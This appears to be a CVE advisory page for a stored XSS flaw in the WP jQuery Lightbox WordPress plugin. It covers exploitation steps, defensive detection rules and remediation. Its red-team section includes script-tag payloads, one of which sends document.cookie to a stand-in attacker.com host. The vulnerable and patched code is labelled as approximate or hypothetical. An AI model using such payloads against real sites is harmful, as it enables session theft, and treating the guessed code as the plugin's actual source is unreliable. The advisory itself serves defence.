CVE-2024-5425
Executive Summary
CVE-2024-5425 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP jQuery Lightbox plugin for WordPress, affecting all versions up to and including 1.5.4. The flaw resides in insufficient sanitization of the title attribute, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. When a user visits a page containing the malicious lightbox, the injected script executes in their browser, potentially leading to session hijacking, data theft, or further compromise.
This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin is widely used for image lightbox effects, making it a high-value target for attackers seeking to compromise WordPress sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin vulnerability. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress installations with the WP jQuery Lightbox plugin active.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. Exploitation requires authenticated access, but the impact is significant due to the potential for stored XSS affecting all site visitors.
Deep Dive & Mechanics
The WP jQuery Lightbox plugin processes the title attribute of image elements to display captions. Due to insufficient input sanitization and output escaping, an attacker with Contributor-level access can craft a post or page containing an image with a malicious title attribute. When the lightbox script renders this title, the injected JavaScript executes in the context of the victim's browser.
Attack Flow:
- Attacker logs in with Contributor-level credentials.
- Attacker creates a new post or page and inserts an image with a
titleattribute containing a malicious payload, e.g.,<img src="valid.jpg" title="<script>alert('XSS')</script>">. - The plugin stores the title without proper sanitization.
- When any user (including administrators) views the page, the lightbox script outputs the title, executing the injected script.
Root Cause: The plugin uses esc_attr() or similar functions incorrectly, or fails to escape output in the JavaScript context where the title is rendered.
Vulnerable vs. Patched Code
Vulnerable Code (version 1.5.4):
// In wp-jquery-lightbox.php or similar
$title = get_post_meta($post->ID, '_wp_attachment_image_alt', true);
if (empty($title)) {
$title = get_the_title();
}
echo '<a href="' . $url . '" rel="lightbox" title="' . $title . '">';
The $title is directly echoed without escaping, allowing XSS.
Patched Code (hypothetical fix):
$title = get_post_meta($post->ID, '_wp_attachment_image_alt', true);
if (empty($title)) {
$title = get_the_title();
}
echo '<a href="' . esc_url($url) . '" rel="lightbox" title="' . esc_attr($title) . '">';
Using esc_attr() properly escapes the title attribute, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with WP jQuery Lightbox plugin <= 1.5.4.
- Attacker account with Contributor-level access or higher.
Exploit Steps:
- Log in to WordPress as a Contributor.
- Create a new post or page.
- Insert an image with a malicious
titleattribute:<img src="https://example.com/valid-image.jpg" title="<script>alert(document.cookie)</script>"> - Publish the post.
- When an administrator or visitor views the post, the script executes.
Example Payload:
<img src="https://example.com/image.jpg" title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>">
Blue Team (Detection & Hardening)
Detection:
- Monitor for posts/pages containing suspicious
titleattributes with script tags. - Use WAF rules to block requests with
<script>in image title parameters.
Hardening:
- Disable the plugin until a patch is available.
- Restrict Contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/wp-jquery-lightbox/wp-jquery-lightbox.php(version 1.5.4) - Network: HTTP requests to
/wp-admin/post.phpor/wp-admin/post-new.phpwith malicioustitleparameters. - Logs: WordPress debug logs showing
esc_attrwarnings or unescaped output. - Browser: Execution of unexpected JavaScript on pages using the lightbox.
Detection Engineering
YARA Rule
rule wp_jquery_lightbox_xss {
meta:
description = "Detects WP jQuery Lightbox plugin files with unescaped title output"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-5425"
strings:
$unescaped = /title="[^"]*\$[^"]*"/ nocase
$vuln_func = /echo.*\$title/ nocase
condition:
$unescaped and $vuln_func
}
Sigma Rule
title: WP jQuery Lightbox Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-5425 via malicious title attributes
author: Valters IT
logsource:
category: web
product: wordpress
detection:
selection:
http.method: POST
http.url: '/wp-admin/post.php*'
http.body: '*title=*<script>*'
condition: selection
falsepositives:
- Legitimate use of script tags in titles (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5425 WP jQuery Lightbox Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"title="; http_client_body; content:"<script>"; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patched version is released.
- Review and remove any suspicious posts/pages created by Contributor-level users.
- Implement a Web Application Firewall (WAF) rule to block requests containing
<script>intitleparameters.
Long-term Fix:
- The vendor must release a patched version that properly escapes the
titleattribute usingesc_attr(). - Until then, consider replacing the plugin with an alternative lightbox solution.
Workaround:
- Use a security plugin like Wordfence to add virtual patching for this vulnerability.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.